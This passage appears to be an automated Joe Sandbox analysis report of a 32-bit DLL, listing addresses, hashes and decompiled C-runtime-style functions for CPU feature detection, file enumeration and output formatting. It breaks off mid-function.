0x6da95e0f
0x6da95e0f
0x6da95e19
0x6da95e1b
0x6da95e55
0x6da95e1d
0x6da95e22
0x6da95e46
0x6da95e4e
0x6da95e42
0x6da95e42
0x6da95e58
0x6da95e5f
0x6da95e61
0x6da95e83
0x6da95e8b
0x6da95e8e
0x6da95e8e
0x6da95e90
0x6da95e90
0x6da95e9b
0x6da95ea1
0x6da95ea6
0x6da95ead
0x6da95ee7
0x6da95ef2
0x6da95ef8
0x6da95efb
0x6da95efe
0x6da95f0a
0x6da95f12
0x6da95eaf
0x6da95eb2
0x6da95ebe
0x6da95ec4
0x6da95eca
0x6da95ecd
0x6da95ed6
0x6da95ed6
0x6da95f15
0x6da95f23
0x6da95f29
0x6da95f2c
0x6da95f31
0x6da95f33
0x6da95f36
0x6da95f36
0x6da95f3b
0x6da95f3d
0x6da95f40
0x6da95f40
0x6da95f45
0x6da95f47
0x6da95f4a
0x6da95f4a
0x6da95f4f
0x6da95f51
0x6da95f54
0x6da95f54
0x6da95f59
0x6da95f5b
0x6da95f5b
0x6da95f68
0x6da95f6b
0x6da95fa2
0x6da95f6d
0x6da95f6d
0x6da95f70
0x6da95f9b
0x6da95f90
0x6da95f90
0x6da95fa4
0x6da95fac
0x6da95faf
0x6da95fce
0x6da95fd3
0x6da95fd3
0x6da95fd5
0x6da95fda
0x6da95fe6
0x6da95fdc
0x6da95fdf
0x6da95fdf
0x6da95feb
0x6da95feb
0x6da95fb1
0x6da95fb4
0x6da95fc3
0x00000000
0x6da95fc3
0x6da95fb6
0x6da95fb9
0x6da95fbb
0x6da95fbb
0x00000000
0x6da95fb9
0x6da95f72
0x6da95f75
0x6da95f8b
0x00000000
0x6da95f8b
0x6da95f7a
0x6da95f7c
0x6da95f7c
0x6da95f7a
0x00000000
0x6da95f6b
0x6da95e68
0x6da95e76
0x6da95e7e
0x00000000
0x6da95e7e
0x6da95e6c
0x6da95e71
0x6da95e71
0x00000000
0x6da95e6c
0x6da95e29
0x6da95e37
0x6da95e3f
0x00000000
0x6da95e3f
0x6da95e2d
0x6da95e32
0x6da95e32
0x6da95e2d

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,6DA95CF1,?,?,00000008,?,?,6DA9F2FB,00000000), ref: 6DA95F23

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: c251f4b0195f6abe2ac1d4a2b4aeb0004e924affff5c506a291d8e2d65b0e8b6
Instruction ID: c4012bfdf8e6090d4576bb29aade49e51aa9eeb0a0ce806a88d2b9902ccf12dc
Opcode Fuzzy Hash: c251f4b0195f6abe2ac1d4a2b4aeb0004e924affff5c506a291d8e2d65b0e8b6
Instruction Fuzzy Hash: 0CB14B36624609CFD705CF28C486B757BE0FF45365F298658E8A9CF2A5C336E982CB40

Uniqueness

Uniqueness Score: -1.00%

Function 6DA89CE5 Relevance: 1.6, APIs: 1, Instructions: 144
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E6DA89CE5(signed int __edx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _t60;
				signed int _t61;
				signed int _t62;
				signed int _t63;
				signed int _t66;
				signed int _t67;
				signed int _t73;
				intOrPtr _t74;
				intOrPtr _t75;
				intOrPtr* _t77;
				signed int _t78;
				intOrPtr* _t82;
				signed int _t85;
				signed int _t90;
				intOrPtr* _t93;
				signed int _t96;
				signed int _t99;
				signed int _t104;

				_t90 = __edx;
				 *0x6dad51ac =  *0x6dad51ac & 0x00000000;
				 *0x6dab3020 =  *0x6dab3020 | 0x00000001;
				if(IsProcessorFeaturePresent(0xa) == 0) {
					L23:
					return 0;
				}
				_v20 = _v20 & 0x00000000;
				_push(_t74);
				_t93 =  &_v40;
				asm("cpuid");
				_t75 = _t74;
				 *_t93 = 0;
				 *((intOrPtr*)(_t93 + 4)) = _t74;
				 *((intOrPtr*)(_t93 + 8)) = 0;
				 *(_t93 + 0xc) = _t90;
				_v16 = _v40;
				_v12 = _v28 ^ 0x49656e69;
				_v8 = _v36 ^ 0x756e6547;
				_push(_t75);
				asm("cpuid");
				_t77 =  &_v40;
				 *_t77 = 1;
				 *((intOrPtr*)(_t77 + 4)) = _t75;
				 *((intOrPtr*)(_t77 + 8)) = 0;
				 *(_t77 + 0xc) = _t90;
				if((_v8 | _v32 ^ 0x6c65746e | _v12) != 0) {
					L9:
					_t96 =  *0x6dad51b0; // 0x2
					L10:
					_t85 = _v32;
					_t60 = 7;
					_v8 = _t85;
					if(_v16 < _t60) {
						_t78 = _v20;
					} else {
						_push(_t77);
						asm("cpuid");
						_t82 =  &_v40;
						 *_t82 = _t60;
						 *((intOrPtr*)(_t82 + 4)) = _t77;
						 *((intOrPtr*)(_t82 + 8)) = 0;
						_t85 = _v8;
						 *(_t82 + 0xc) = _t90;
						_t78 = _v36;
						if((_t78 & 0x00000200) != 0) {
							 *0x6dad51b0 = _t96 | 0x00000002;
						}
					}
					_t61 =  *0x6dab3020; // 0x6f
					_t62 = _t61 | 0x00000002;
					 *0x6dad51ac = 1;
					 *0x6dab3020 = _t62;
					if((_t85 & 0x00100000) != 0) {
						_t63 = _t62 | 0x00000004;
						 *0x6dad51ac = 2;
						 *0x6dab3020 = _t63;
						if((_t85 & 0x08000000) != 0 && (_t85 & 0x10000000) != 0) {
							asm("xgetbv");
							_v24 = _t63;
							_v20 = _t90;
							_t104 = 6;
							if((_v24 & _t104) == _t104) {
								_t66 =  *0x6dab3020; // 0x6f
								_t67 = _t66 | 0x00000008;
								 *0x6dad51ac = 3;
								 *0x6dab3020 = _t67;
								if((_t78 & 0x00000020) != 0) {
									 *0x6dad51ac = 5;
									 *0x6dab3020 = _t67 | 0x00000020;
									if((_t78 & 0xd0030000) == 0xd0030000 && (_v24 & 0x000000e0) == 0xe0) {
										 *0x6dab3020 =  *0x6dab3020 | 0x00000040;
										 *0x6dad51ac = _t104;
									}
								}
							}
						}
					}
					goto L23;
				}
				_t73 = _v40 & 0x0fff3ff0;
				if(_t73 == 0x106c0 || _t73 == 0x20660 || _t73 == 0x20670 || _t73 == 0x30650 || _t73 == 0x30660 || _t73 == 0x30670) {
					_t99 =  *0x6dad51b0; // 0x2
					_t96 = _t99 | 0x00000001;
					 *0x6dad51b0 = _t96;
					goto L10;
				} else {
					goto L9;
				}
			}

0x6da89ce5
0x6da89ce8
0x6da89cf2
0x6da89d03
0x6da89eb2
0x6da89eb5
0x6da89eb5
0x6da89d09
0x6da89d0f
0x6da89d14
0x6da89d18
0x6da89d1c
0x6da89d1d
0x6da89d1f
0x6da89d22
0x6da89d27
0x6da89d30
0x6da89d41
0x6da89d4c
0x6da89d52
0x6da89d53
0x6da89d58
0x6da89d5b
0x6da89d60
0x6da89d68
0x6da89d6b
0x6da89d6e
0x6da89db3
0x6da89db3
0x6da89db9
0x6da89db9
0x6da89dbe
0x6da89dbf
0x6da89dc5
0x6da89df6
0x6da89dc7
0x6da89dc9
0x6da89dca
0x6da89dcf
0x6da89dd2
0x6da89dd4
0x6da89dd7
0x6da89dda
0x6da89ddd
0x6da89de0
0x6da89de9
0x6da89dee
0x6da89dee
0x6da89de9
0x6da89df9
0x6da89dfe
0x6da89e01
0x6da89e0b
0x6da89e16
0x6da89e1c
0x6da89e1f
0x6da89e29
0x6da89e34
0x6da89e40
0x6da89e43
0x6da89e46
0x6da89e51
0x6da89e56
0x6da89e58
0x6da89e5d
0x6da89e60
0x6da89e6a
0x6da89e72
0x6da89e77
0x6da89e81
0x6da89e8f
0x6da89ea2
0x6da89ea9
0x6da89ea9
0x6da89e8f
0x6da89e72
0x6da89e56
0x6da89e34
0x00000000
0x6da89eb1
0x6da89d73
0x6da89d7d
0x6da89da2
0x6da89da8
0x6da89dab
0x00000000
0x00000000
0x00000000
0x00000000

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 6DA89CFB

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: ed34ab8c204651c5904ef67a2168b0efc0497880f2b787d5a1565a1c8d0b5b15
Instruction ID: bdba830c7c306c25d3c3a0419b878a88e805865221f2284e243e96fb18e82934
Opcode Fuzzy Hash: ed34ab8c204651c5904ef67a2168b0efc0497880f2b787d5a1565a1c8d0b5b15
Instruction Fuzzy Hash: D9515AB6A083068FEB05CF55C9817AABBF0FB4A314F14C42AE855EB291D3759A42CF54

Uniqueness

Uniqueness Score: -1.00%

Function 6DA994B5 Relevance: 1.6, APIs: 1, Instructions: 140
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E6DA994B5(void* __ecx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				intOrPtr* _v28;
				intOrPtr* _v32;
				intOrPtr _v36;
				signed int _v48;
				struct _WIN32_FIND_DATAW _v604;
				char _v605;
				void* _v612;
				signed int _v616;
				union _FINDEX_INFO_LEVELS _v620;
				union _FINDEX_INFO_LEVELS _v624;
				signed int _v628;
				union _FINDEX_INFO_LEVELS _v632;
				char _v636;
				signed int _v640;
				union _FINDEX_INFO_LEVELS _v644;
				union _FINDEX_INFO_LEVELS _v648;
				signed int _v652;
				union _FINDEX_INFO_LEVELS _v656;
				char _v660;
				signed int _v664;
				signed int _v668;
				signed int _v672;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t72;
				signed int _t77;
				signed int _t79;
				char _t81;
				signed char _t82;
				signed int _t88;
				signed int _t94;
				signed int _t100;
				signed int _t103;
				signed int _t104;
				signed int _t106;
				intOrPtr* _t112;
				signed int _t115;
				intOrPtr _t125;
				signed int _t127;
				signed int _t130;
				signed int _t132;
				void* _t135;
				void* _t137;
				intOrPtr _t139;
				intOrPtr* _t142;
				signed int _t144;
				void* _t146;
				intOrPtr* _t147;
				signed int _t156;
				void* _t164;
				signed int _t167;
				intOrPtr _t169;
				void* _t170;
				void* _t173;
				void* _t174;
				void* _t175;
				signed int _t176;
				signed int _t177;
				signed int _t180;
				void* _t181;
				signed int _t182;
				void* _t183;
				void* _t184;

				_push(__ecx);
				_t142 = _a4;
				_t2 = _t142 + 1; // 0x1
				_t164 = _t2;
				do {
					_t72 =  *_t142;
					_t142 = _t142 + 1;
				} while (_t72 != 0);
				_t167 = _a12;
				_t144 = _t142 - _t164 + 1;
				_v8 = _t144;
				if(_t144 <=  !_t167) {
					_t5 = _t167 + 1; // 0x1
					_t135 = _t5 + _t144;
					_t174 = E6DA9479A(_t135, 1);
					_t146 = _t173;
					__eflags = _t167;
					if(_t167 == 0) {
						L7:
						_push(_v8);
						_t135 = _t135 - _t167;
						_t77 = E6DA9EA98(_t146, _t174 + _t167, _t135, _a4);
						_t182 = _t181 + 0x10;
						__eflags = _t77;
						if(_t77 != 0) {
							goto L12;
						} else {
							_t139 = _a16;
							_t127 = E6DA99850(_t139);
							_v8 = _t127;
							__eflags = _t127;
							if(_t127 == 0) {
								 *( *(_t139 + 4)) = _t174;
								_t177 = 0;
								_t14 = _t139 + 4;
								 *_t14 =  *(_t139 + 4) + 4;
								__eflags =  *_t14;
							} else {
								E6DA94760(_t174);
								_t177 = _v8;
							}
							E6DA94760(0);
							_t130 = _t177;
							goto L4;
						}
					} else {
						_push(_t167);
						_t132 = E6DA9EA98(_t146, _t174, _t135, _a8);
						_t182 = _t181 + 0x10;
						__eflags = _t132;
						if(_t132 != 0) {
							L12:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							E6DA8DAEC();
							asm("int3");
							_t180 = _t182;
							_t183 = _t182 - 0x298;
							_t79 =  *0x6dab3014; // 0x6c4e8ceb
							_v48 = _t79 ^ _t180;
							_t147 = _v32;
							_t165 = _v28;
							_push(_t135);
							_push(0);
							_t169 = _v36;
							_v648 = _t165;
							__eflags = _t147 - _t169;
							if(_t147 != _t169) {
								while(1) {
									_t125 =  *_t147;
									__eflags = _t125 - 0x2f;
									if(_t125 == 0x2f) {
										break;
									}
									__eflags = _t125 - 0x5c;
									if(_t125 != 0x5c) {
										__eflags = _t125 - 0x3a;
										if(_t125 != 0x3a) {
											_t147 = E6DA9F970(_t169, _t147);
											__eflags = _t147 - _t169;
											if(_t147 != _t169) {
												continue;
											}
										}
									}
									break;
								}
								_t165 = _v612;
							}
							_t81 =  *_t147;
							_v605 = _t81;
							__eflags = _t81 - 0x3a;
							if(_t81 != 0x3a) {
								L23:
								__eflags = _t81 - 0x2f;
								if(__eflags == 0) {
									L26:
									_t82 = 1;
								} else {
									__eflags = _t81 - 0x5c;
									if(__eflags == 0) {
										goto L26;
									} else {
										__eflags = _t81 - 0x3a;
										_t82 = 0;
										if(__eflags == 0) {
											goto L26;
										}
									}
								}
								_v660 = 0;
								_v656 = 0;
								_push(_t174);
								asm("sbb eax, eax");
								_v652 = 0;
								_v648 = 0;
								_v664 =  ~(_t82 & 0x000000ff) & _t147 - _t169 + 0x00000001;
								_v644 = 0;
								_v640 = 0;
								_t88 = E6DA90DCD(_t147 - _t169 + 1, _t169,  &_v660, E6DA991EA(_t165, __eflags));
								_t184 = _t183 + 0xc;
								asm("sbb eax, eax");
								_t175 = FindFirstFileExW( !( ~_t88) & _v652, 0,  &_v604, 0, 0, 0);
								__eflags = _t175 - 0xffffffff;
								if(_t175 != 0xffffffff) {
									_t151 = _v612;
									_t94 =  *((intOrPtr*)(_v612 + 4)) -  *_v612;
									__eflags = _t94;
									_v668 = _t94 >> 2;
									do {
										_v636 = 0;
										_v632 = 0;
										_v628 = 0;
										_v624 = 0;
										_v620 = 0;
										_v616 = 0;
										_t100 = E6DA99272( &(_v604.cFileName),  &_v636,  &_v605, E6DA991EA(_t165, __eflags));
										_t184 = _t184 + 0x10;
										asm("sbb eax, eax");
										_t103 =  !( ~_t100) & _v628;
										__eflags =  *_t103 - 0x2e;
										if( *_t103 != 0x2e) {
											L36:
											_push(_v612);
											_t104 = E6DA994B5(_t151, _t103, _t169, _v664);
											_t184 = _t184 + 0x10;
											_v672 = _t104;
											__eflags = _t104;
											if(_t104 != 0) {
												__eflags = _v616;
												if(_v616 != 0) {
													E6DA94760(_v628);
												}
												FindClose(_t175);
												__eflags = _v640;
												if(_v640 != 0) {
													E6DA94760(_v652);
												}
												_t106 = _v672;
											} else {
												goto L37;
											}
										} else {
											_t151 =  *((intOrPtr*)(_t103 + 1));
											__eflags = _t151;
											if(_t151 == 0) {
												goto L37;
											} else {
												__eflags = _t151 - 0x2e;
												if(_t151 != 0x2e) {
													goto L36;
												} else {
													__eflags =  *(_t103 + 2);
													if( *(_t103 + 2) == 0) {
														goto L37;
													} else {
														goto L36;
													}
												}
											}
										}
										goto L50;
										L37:
										__eflags = _v616;
										if(_v616 != 0) {
											E6DA94760(_v628);
											_pop(_t151);
										}
										__eflags = FindNextFileW(_t175,  &_v604);
									} while (__eflags != 0);
									_t112 = _v612;
									_t156 = _v668;
									_t165 =  *_t112;
									_t115 =  *((intOrPtr*)(_t112 + 4)) -  *_t112 >> 2;
									__eflags = _t156 - _t115;
									if(_t156 != _t115) {
										__eflags = _t115 - _t156;
										E6DA9F440(_t165, _t165 + _t156 * 4, _t115 - _t156, 4, E6DA9925A);
									}
									FindClose(_t175);
									__eflags = _v640;
									if(_v640 != 0) {
										E6DA94760(_v652);
									}
									_t106 = 0;
								} else {
									_push(_v612);
									_t176 = E6DA994B5( &_v604, _t169, 0, 0);
									__eflags = _v640;
									if(_v640 != 0) {
										E6DA94760(_v652);
									}
									_t106 = _t176;
								}
								L50:
								_pop(_t174);
							} else {
								__eflags = _t147 - _t169 + 1;
								if(_t147 == _t169 + 1) {
									_t81 = _v605;
									goto L23;
								} else {
									_push(_t165);
									_t106 = E6DA994B5(_t147, _t169, 0, 0);
								}
							}
							_pop(_t170);
							__eflags = _v12 ^ _t180;
							_pop(_t137);
							return E6DA89B91(_t106, _t137, _v12 ^ _t180, _t165, _t170, _t174);
						} else {
							goto L7;
						}
					}
				} else {
					_t130 = 0xc;
					L4:
					return _t130;
				}
			}

0x6da994ba
0x6da994bb
0x6da994be
0x6da994be
0x6da994c1
0x6da994c1
0x6da994c3
0x6da994c4
0x6da994c9
0x6da994d0
0x6da994d3
0x6da994d8
0x6da994e2
0x6da994e5
0x6da994ef
0x6da994f2
0x6da994f3
0x6da994f5
0x6da99509
0x6da99509
0x6da9950c
0x6da99516
0x6da9951b
0x6da9951e
0x6da99520
0x00000000
0x6da99522
0x6da99522
0x6da99527
0x6da9952e
0x6da99531
0x6da99533
0x6da99544
0x6da99546
0x6da99548
0x6da99548
0x6da99548
0x6da99535
0x6da99536
0x6da9953b
0x6da9953e
0x6da9954d
0x6da99553
0x00000000
0x6da99556
0x6da994f7
0x6da994f7
0x6da994fd
0x6da99502
0x6da99505
0x6da99507
0x6da99559
0x6da9955b
0x6da9955c
0x6da9955d
0x6da9955e
0x6da9955f
0x6da99560
0x6da99565
0x6da99569
0x6da9956b
0x6da99571
0x6da99578
0x6da9957b
0x6da9957e
0x6da99581
0x6da99582
0x6da99583
0x6da99586
0x6da9958c
0x6da9958e
0x6da99590
0x6da99590
0x6da99592
0x6da99594
0x00000000
0x00000000
0x6da99596
0x6da99598
0x6da9959a
0x6da9959c
0x6da995a7
0x6da995a9
0x6da995ab
0x00000000
0x00000000
0x6da995ab
0x6da9959c
0x00000000
0x6da99598
0x6da995ad
0x6da995ad
0x6da995b3
0x6da995b5
0x6da995bb
0x6da995bd
0x6da995df
0x6da995e1
0x6da995e3
0x6da995ef
0x6da995ef
0x6da995e5
0x6da995e5
0x6da995e7
0x00000000
0x6da995e9
0x6da995e9
0x6da995eb
0x6da995ed
0x00000000
0x00000000
0x6da995ed
0x6da995e7
0x6da995f7
0x6da995ff
0x6da99605
0x6da99606
0x6da99608
0x6da99610
0x6da99616
0x6da9961c
0x6da99622
0x6da99636
0x6da9963b
0x6da99646
0x6da9965c
0x6da9965e
0x6da99661
0x6da99691
0x6da9969a
0x6da9969a
0x6da9969f
0x6da996a5
0x6da996a5
0x6da996ab
0x6da996b1
0x6da996b7
0x6da996bd
0x6da996c3
0x6da996e4
0x6da996e9
0x6da996ee
0x6da996f2
0x6da996f8
0x6da996fb
0x6da9970e
0x6da9970e
0x6da9971c
0x6da99721
0x6da99724
0x6da9972a
0x6da9972c
0x6da997a7
0x6da997ad
0x6da997b5
0x6da997ba
0x6da997bc
0x6da997c2
0x6da997c8
0x6da997d0
0x6da997d5
0x6da997d6
0x00000000
0x00000000
0x00000000
0x6da996fd
0x6da996fd
0x6da99700
0x6da99702
0x00000000
0x6da99704
0x6da99704
0x6da99707
0x00000000
0x6da99709
0x6da99709
0x6da9970c
0x00000000
0x00000000
0x00000000
0x00000000
0x6da9970c
0x6da99707
0x6da99702
0x00000000
0x6da9972e
0x6da9972e
0x6da99734
0x6da9973c
0x6da99741
0x6da99741
0x6da99750
0x6da99750
0x6da99758
0x6da9975e
0x6da99764
0x6da9976b
0x6da9976e
0x6da99770
0x6da99777
0x6da99780
0x6da99785
0x6da99789
0x6da9978f
0x6da99795
0x6da9979d
0x6da997a2
0x6da997a3
0x6da99663
0x6da99663
0x6da99674
0x6da99676
0x6da9967c
0x6da99684
0x6da99689
0x6da9968a
0x6da9968a
0x6da997dc
0x6da997dc
0x6da995bf
0x6da995c2
0x6da995c4
0x6da995d9
0x00000000
0x6da995c6
0x6da995c6
0x6da995cc
0x6da995d1
0x6da995c4
0x6da997e0
0x6da997e1
0x6da997e3
0x6da997ea
0x00000000
0x00000000
0x00000000
0x6da99507
0x6da994da
0x6da994dc
0x6da994dd
0x6da994df
0x6da994df

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3953c9256b9ec1e7424870db0ebe4d3f8e743d198f2ec4f5f22afd2339a74df6
Instruction ID: 4311f5df3057a01f5834754fff411dba27b12e93c67e918eddefbb36389c3db4
Opcode Fuzzy Hash: 3953c9256b9ec1e7424870db0ebe4d3f8e743d198f2ec4f5f22afd2339a74df6
Instruction Fuzzy Hash: C041D3B5819219AFDF10DF68CD88AAABBF8AF45304F1442D9E41DD7200DB359E858F20

Uniqueness

Uniqueness Score: -1.00%

Function 6DA8F07E Relevance: 1.6, Strings: 1, Instructions: 344
COMMONCrypto

Download Yara Rule

C-Code - Quality: 89%

			E6DA8F07E(signed int __ecx, signed int __edx, void* __edi) {
				signed int _v8;
				char _v16;
				signed int _v18;
				signed int _v20;
				signed int _v24;
				signed int* _v28;
				signed int _v32;
				signed int _v36;
				void* __ebx;
				void* __esi;
				void* __ebp;
				signed int _t115;
				char _t117;
				signed int _t118;
				void* _t119;
				signed int _t120;
				signed char _t123;
				signed int _t127;
				signed char _t132;
				signed char _t135;
				signed int* _t141;
				signed int _t145;
				signed int _t149;
				signed int _t150;
				signed int* _t156;
				signed int _t158;
				signed int _t159;
				signed int* _t160;
				signed int* _t166;
				signed char _t169;
				signed char _t171;
				signed int _t173;
				signed int _t175;
				signed int _t176;
				signed int _t179;
				signed int _t180;
				signed int* _t181;
				void* _t183;
				signed int _t187;
				unsigned int _t190;
				signed int _t192;
				signed int** _t193;
				signed short* _t194;
				signed char _t197;
				signed int _t198;
				signed int _t199;
				intOrPtr _t211;
				signed int _t214;
				void* _t215;
				signed int* _t216;
				signed int _t217;
				signed int _t218;
				signed int** _t219;
				signed int _t220;
				void* _t221;
				void* _t222;
				void* _t223;

				_t215 = __edi;
				_t208 = __edx;
				_t115 =  *0x6dab3014; // 0x6c4e8ceb
				_v8 = _t115 ^ _t220;
				_t218 = __ecx;
				_t179 = 0;
				_v32 = __ecx;
				_t183 = 0x58;
				_t117 =  *((char*)(__ecx + 0x2d));
				_t222 = _t117 - 0x64;
				if(_t222 > 0) {
					__eflags = _t117 - 0x70;
					if(__eflags > 0) {
						_t118 = _t117 - 0x73;
						__eflags = _t118;
						if(_t118 == 0) {
							L9:
							_t119 = E6DA8F790(_t218);
							L10:
							if(_t119 != 0) {
								__eflags =  *((intOrPtr*)(_t218 + 0x2c)) - _t179;
								if( *((intOrPtr*)(_t218 + 0x2c)) != _t179) {
									L104:
									_t120 = 1;
									L105:
									return E6DA89B91(_t120, _t179, _v8 ^ _t220, _t208, _t215, _t218);
								}
								_t123 =  *(_t218 + 0x1c) >> 4;
								_v20 = _t179;
								_t187 = _t179;
								_v18 = _t179;
								_v28 = _t187;
								__eflags = 1 & _t123;
								if((1 & _t123) == 0) {
									L44:
									_t211 =  *((intOrPtr*)(_t218 + 0x2d));
									__eflags = _t211 - 0x78;
									if(_t211 == 0x78) {
										L46:
										__eflags = 1;
										if(1 != 0) {
											L48:
											__eflags = _t211 - 0x61;
											if(_t211 == 0x61) {
												L50:
												_t127 = 1;
												L51:
												__eflags = _t127;
												if(_t127 != 0) {
													L53:
													 *((char*)(_t220 + _t187 - 0x10)) = 0x30;
													__eflags = _t211 - 0x58;
													if(_t211 == 0x58) {
														L56:
														0x78 = 0x58;
														L57:
														 *((char*)(_t220 + _t187 - 0xf)) = 0x78;
														_t187 = _t187 + 2;
														__eflags = _t187;
														_v28 = _t187;
														L58:
														_t208 =  *((intOrPtr*)(_t218 + 0x20)) -  *((intOrPtr*)(_t218 + 0x34)) - _t187;
														__eflags =  *(_t218 + 0x1c) & 0x0000000c;
														_push(_t215);
														_v36 = _t208;
														if(( *(_t218 + 0x1c) & 0x0000000c) != 0) {
															L70:
															_push( *((intOrPtr*)(_t218 + 8)));
															_t216 = _t218 + 0x14;
															_v28 = _t218 + 0x448;
															E6DA8F907(_t218 + 0x448,  &_v20, _t187, _t216);
															_t190 =  *(_t218 + 0x1c);
															_t132 = _t190 >> 3;
															__eflags = _t132 & 0x00000001;
															if((_t132 & 0x00000001) == 0) {
																L83:
																__eflags =  *((char*)(_t218 + 0x38));
																if( *((char*)(_t218 + 0x38)) == 0) {
																	L91:
																	_push( *((intOrPtr*)(_t218 + 8)));
																	E6DA8F907(_t218 + 0x448,  *(_t218 + 0x30),  *((intOrPtr*)(_t218 + 0x34)), _t216);
																	L92:
																	_t192 =  *_t216;
																	__eflags = _t192;
																	if(_t192 < 0) {
																		L103:
																		_pop(_t215);
																		goto L104;
																	}
																	_t135 =  *(_t218 + 0x1c) >> 2;
																	__eflags = _t135 & 0x00000001;
																	if((_t135 & 0x00000001) == 0) {
																		goto L103;
																	}
																	_t218 = _v36;
																	__eflags = _t218;
																	if(_t218 <= 0) {
																		goto L103;
																	} else {
																		goto L95;
																	}
																	while(1) {
																		L95:
																		_t208 =  *_v28;
																		__eflags =  *((intOrPtr*)(_t208 + 8)) -  *((intOrPtr*)(_t208 + 4));
																		if( *((intOrPtr*)(_t208 + 8)) !=  *((intOrPtr*)(_t208 + 4))) {
																			_t193 = _v28;
																			 *_t216 = _t192 + 1;
																			 *((intOrPtr*)(_t208 + 8)) =  *((intOrPtr*)(_t208 + 8)) + 1;
																			 *( *( *_t193)) = 0x20;
																			_t141 =  *_t193;
																			 *_t141 =  *_t141 + 1;
																			__eflags =  *_t141;
																			_t192 =  *_t216;
																		} else {
																			__eflags =  *((char*)(_t208 + 0xc));
																			if( *((char*)(_t208 + 0xc)) == 0) {
																				_t192 = _t192 | 0xffffffff;
																				__eflags = _t192;
																			} else {
																				_t192 = _t192 + 1;
																			}
																			 *_t216 = _t192;
																		}
																		__eflags = _t192 - 0xffffffff;
																		if(_t192 == 0xffffffff) {
																			goto L103;
																		}
																		_t179 = _t179 + 1;
																		__eflags = _t179 - _t218;
																		if(_t179 < _t218) {
																			continue;
																		}
																		goto L103;
																	}
																	goto L103;
																}
																__eflags =  *((intOrPtr*)(_t218 + 0x34)) - _t179;
																if( *((intOrPtr*)(_t218 + 0x34)) <= _t179) {
																	goto L91;
																}
																_t194 =  *(_t218 + 0x30);
																_v20 = _t179;
																while(1) {
																	_v24 = _t179;
																	_v32 =  &(_t194[1]);
																	_t145 = E6DA95341(_t208,  &_v24,  &_v16, 6,  *_t194 & 0x0000ffff,  *((intOrPtr*)(_t218 + 8)));
																	_t221 = _t221 + 0x14;
																	__eflags = _t145;
																	if(_t145 != 0) {
																		break;
																	}
																	__eflags = _v24 - _t145;
																	if(_v24 == _t145) {
																		break;
																	}
																	_push( *((intOrPtr*)(_t218 + 8)));
																	E6DA8F907(_t218 + 0x448,  &_v16, _v24, _t216);
																	_t194 = _v32;
																	_t149 = _v20 + 1;
																	_v20 = _t149;
																	__eflags = _t149 -  *((intOrPtr*)(_t218 + 0x34));
																	if(_t149 !=  *((intOrPtr*)(_t218 + 0x34))) {
																		continue;
																	}
																	goto L92;
																}
																 *_t216 =  *_t216 | 0xffffffff;
																goto L92;
															}
															_t197 = _t190 >> 2;
															__eflags = _t197 & 0x00000001;
															if((_t197 & 0x00000001) != 0) {
																goto L83;
															}
															_t198 = _v36;
															_v20 = _t179;
															__eflags = _t198;
															if(_t198 <= 0) {
																goto L83;
															}
															_t214 =  *_t216;
															_t219 = _v28;
															while(1) {
																_t150 =  *_t219;
																_v24 = _t150;
																_t180 = _t150;
																__eflags =  *((intOrPtr*)(_t150 + 8)) -  *((intOrPtr*)(_t180 + 4));
																if( *((intOrPtr*)(_t150 + 8)) !=  *((intOrPtr*)(_t180 + 4))) {
